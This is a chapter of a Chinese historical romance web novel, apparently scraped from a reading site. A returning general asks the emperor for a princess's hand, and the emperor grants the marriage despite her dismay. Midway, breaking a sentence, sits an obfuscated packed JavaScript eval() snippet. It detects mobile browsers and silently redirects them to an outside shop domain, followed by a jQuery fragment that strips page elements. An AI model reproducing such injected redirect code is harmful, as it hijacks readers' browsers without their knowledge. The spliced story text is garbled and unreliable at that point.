金銮殿上,空旷的大殿中萧进稳坐龙椅,光滑平整的黑色大理石倒映出沐浴更衣后,规矩穿着朝服来觐见的宣武侯陆轻鸿的身影。
陆轻鸿用白玉冠束发,配了一支同样镶着白玉的簪子。他的黑发衬得脸上的皮肤更为白皙。明明在西北那般艰苦的塞外,可他却丝毫没有被风沙侵蚀容颜,面容与离京之前毫无二致,但眉宇间多了几分难以言说的成熟稳重。
他身上是黑色暗纹的立领长袍,腰间一条犀角带,倒三角的身材被勾勒得淋漓尽致。再往下,是一双银线流云暗纹皂靴。
他只是往那一站,常年军中锤炼的挺拔站姿就足以夺人视线。加上那高挑的身量,俊美的容颜,谁都难免多看他两眼。
萧进心中暗自感慨他的一副好皮囊。更让他满意地是,英雄出少年,才二十出头的年纪,就平定了西北,为他去除了常年积压在心头的一大忧患。
除了例行公事的赏赐,例如金银数万两,良田数千顷,丝绸锦缎数千匹等等外,萧进问陆轻鸿还有什么其他的要求。
“不论什么,爱卿有何想要的都可以跟朕商量。”萧进走下龙椅,来到陆轻鸿面前,陆轻鸿又向他躬身行礼。
“微臣食俸禄,自当为国效力,不敢跟皇上讨赏。”陆轻鸿语气淡然地回答。
“但你可是我炎国的大功臣,若是不重赏,何以激励其他有志之士?”
陆轻鸿沉默半晌,终于开口,“若皇上同意,微臣确有一事相求。”
*
夜里的御书房还点着灯。来喜公公给桌边灯罩中的灯丝剪了好几回,房中的光芒也亮了好几次,皇上仍没有回寝殿休息的打算。
他正支着头,合着眼盘算着利益得失。
陆轻鸿的大胜而归,无疑需要大加奖赏,可他居然……居然说要求娶无忧郡主。
萧进不记得二人过去有什么接触,也不知陆轻鸿为何会放着那么多公主不选,只要一个无权无势的陈昭宁。
于萧进而言,这样大好不过,与其他选择家世好权柄大的世家女子,还是自己外甥女嫁过去,他才能安心。
虽然才结束战争,可陆轻鸿手里还有十万兵权在,怎么都不能太过乐观。
这兴许也是陆轻鸿委婉表忠心的手段,选一个无害的、自己宠爱的孩子当侯夫人,就表明日后的宣武侯府,仍旧会效忠于萧家。
从家世来看,陆家世代为国征战,培养出了一批批精兵强将保家卫国,甚至老宣武侯也为国牺牲。家世门楣配得上。
从人格品行来看,陆轻鸿年纪轻轻就屡立战功,为人成熟,性格沉稳,也不像是装出来的,陆家爱护妻子是出了名的,这点他早就亲眼瞧见过。所以这方面也没有不答应的道理。
门当户对的金玉良缘,又是推拒了其他赏赐的陆轻鸿亲口所求,萧进着实没有拒绝的理由。
唯一存在隐患的只有一个,那就是陈昭宁的想法。
到底是江山大过于亲情。
萧进心里的天平很快倾斜。他不再纠结,通身舒畅地起身,面带笑意地走出御书房。
*
又几日以后,京城中的雪全部消融,泥土是深褐色,被融雪浸泡得湿漉漉的。化雪的日子最冷,身上穿了再多,只要在外头走一遭就浑身冰凉。
陈昭宁难得被一道口谕传唤至宫中,这次还是皇上身边的来喜公公亲自来接她的。陈昭宁将头伸出车帘,望着一旁骑马的来喜公公。
“公公,您跟我说说呗,我这次去宫里,是挨罚还是领赏?”
来喜公公脸上总是挂着和蔼的笑,看谁都笑眯眯的,听了她的话,他凑到跟前来,“郡主最近没惹皇上生气,自然不是挨罚的。哎呀!我的小祖宗,您耳朵都被风吹红了,赶紧在车里头暖暖!”
陈昭宁失望地“哦”了一声,果然乖乖放下车帘。
来喜公公的说的后半段显然是敷衍她,故意打岔的。又不是挨罚,叫她进宫,能有不好不坏的事情么?原是想早点心里有数,结果被来喜公公一说,她更加好奇了。她巴不得马车下一秒就驶入宫中。
谷雨这回没陪同她一块儿来。她下马车的时候,已经自己将大氅给穿好了。今日天冷,出府之前,谷雨特地给她拿了一条天青色有银白色丝线绣的梅花图样的大氅。她今日穿的也是同为天青色的长款袄裙,一双白色素锦棉靴。走在朱红院墙之内,格外出尘脱俗。
来喜公公比陈昭宁略高,但要胖不少。陈昭宁便顾及他的脚步,走得慢悠悠的。来喜公公感激她的体贴,心中泛起一阵暖意。
等她来到御书房,发现房中除了坐在桌前的皇上,还有一个背影有些眼熟的男子站在皇上对面。那人穿着一身墨蓝色长袍,一条黑色腰带贯穿其中,束起的长发垂到了腰间。
“昭昭来了啊。”萧进看着明媚可爱的陈昭宁,脸上露出笑容。
陈昭宁低头解着大氅的绳结,闷闷地“嗯”了一声。她摘下头上的帽子,又将大氅搭在了一旁的椅子上。
来喜公公赶忙走去,将她的大氅折好,带到外头去存放,只留三人待着。
陈昭宁借着脱大氅的由头,努力平复了心情。因为早在一进来,她的目光就落在那人的背影上,一眼便认出了那人的身份。
见多了,所以不会忘记,更不会认错。
她小步上前,站到了那人身旁,仰头有些局促地说道,“好久不见啊。”
陈昭宁今日梳了个朝天髻,金钿上缀满了米粒大小的珍珠和玛瑙。她的皮肤一向白嫩,被御书房里的热气一烘,脸颊两侧都泛起小片的桃粉色,朱唇也愈发艳丽。尤其是那双饱含秋水的杏眼,正波光粼粼地望着自己。
陆轻鸿偏头,寡淡了一上午的面容上,忽然绽开了一个优雅的笑容。这笑容比春日百花争奇斗艳还要美得勾魂夺魄,杀去了一身常年苦寒塞外的萧瑟寒凉。
“郡主竟然还记得我么。”
陈昭宁一时间怔住了。她的心脏久违地狂跳起来,她慌忙错开眼,直视对面的舅舅来平复心情。
萧进的目光只在二人之间打了个转,心中最后一丝愧疚感都无影无踪了。
好他个陆轻鸿!什么时候拱的他家的白菜!陈昭宁眼珠子都要瞪直了!他笑什么笑?知不知道什么叫殿前失仪?宫门打开的时候就来了,两个时辰过去了,没对他这糟老头子露过牙,一见着小姑娘来就笑了。真是见人下菜碟!老宣武侯都教了他什么?
“你俩都别傻站着,给我跪下!”萧进有些吃味地说道。
陆轻鸿言
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590607|205445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
听计从,陈昭宁不懂前因后果,也跟着跪了下来。
“朕这就下达口谕。今宣武侯陆轻鸿大胜凯旋,乃社稷有功之臣,念其双亲亡故,便由朕做主,为其娶妻。无忧郡主自小聪明伶俐,秀外慧中,温婉贤淑,朕以为陈昭宁与陆轻鸿实是天作之合,特此赐婚。命宣武侯陆轻鸿于今年二月初二迎娶无忧郡主陈昭宁。”
陈昭宁的小脸顿时煞白。
怎么会?这人不该是陆江风吗?怎么会是那个不苟言笑的木疙瘩陆轻鸿?舅舅到底在想什么?
陆轻鸿看了一眼一旁脸色变幻莫测的陈昭宁,兀自说道,“臣领旨谢恩。”
“……”陈昭宁有些不死心地抬头,想看萧进的表情。
那个印象里总是温和慈爱的舅舅,此刻却严厉地审视着自己。好像如果敢拒绝,从此后,陈昭宁便不再是他心目中的那个陈昭宁了。这代表着,舅舅将自己当成了可以任意摆布的棋子,随心所欲地放在了自己应该在的地方。
早知道会有这么一遭。尽管心里对这道圣旨很是失望,陈昭宁手中没有任何筹码来与皇帝谈条件。她能平安顺遂活到现在,都是仰仗着皇帝的那点怜惜。还怎么能奢求更多?
“臣女谢恩。”
陆轻鸿的余光之中,陈昭宁的脸上忽然蒙上了一层阴霾。
赐婚的消息不胫而走。不过两日,京城坊间都在热火朝天谈论起宣武侯与无忧郡主的婚事。
宣武侯五年前便随父去往边塞,才回京就被皇帝安排了婚事,百姓都以为这是皇帝看重宣武侯的表现。毕竟,让他娶谁不好,偏偏要娶无忧郡主呢?
无忧郡主的口碑在京城未出嫁的高门望族女子中并不算最好,唯一能与人攀比的只有她得宠这一样。而这还是沾了她母亲的光,所以皇帝才百般照顾。否则,一个人前畏首畏尾的郡主,究竟有哪里值得人说道?
既比不上行事张扬的安阳公主,也比不上才情出众的丞相府嫡女。
在他们眼里,这门婚事,想来还是郡主高攀了,谁都知道,年纪轻轻的宣武侯,以后的成就绝不会止步于此。
宣武侯府自从接到圣旨后,连日灯火通明。
侯府管事先是挑拣了许多仆役,亲自教导侯府里的规矩,然后又请了不少木匠泥瓦匠,他们在侯府一待就是小半个月,路过的货郎天天都能看到推着木材的小车出入侯府的大门。其余的仆役则忙着擦拭门口的两座威风凛凛的石狮子,就连石狮子口中的石球,小半月的打磨下来也光滑如新了。
京城中的红绸缎子一时之间全给供应到了宣武侯府,导致绸缎价格水涨船高,织造坊也只好日夜不停加大产量。
见着侯府这么大排场准备娶亲,不少家世相当的官场同僚的日子却难过起来。他们的夫人偶尔会在用膳时酸溜溜地提及陆轻鸿的阔绰手笔,又将她们当日嫁人的情景拿来对比。
“不说别的,当时我嫁过来,你家的石狮子牙都是黑的。侯府那边的牙就是白的!”
“夫人,你怎么知道?”
“我特地去派人去瞧了的。”
“……”
在他们心里,娶妻还是要娶贤。若是自己的夫人小妾都像无忧郡主那般高要求,就是朝廷发了再多俸禄也不够她们挥霍的。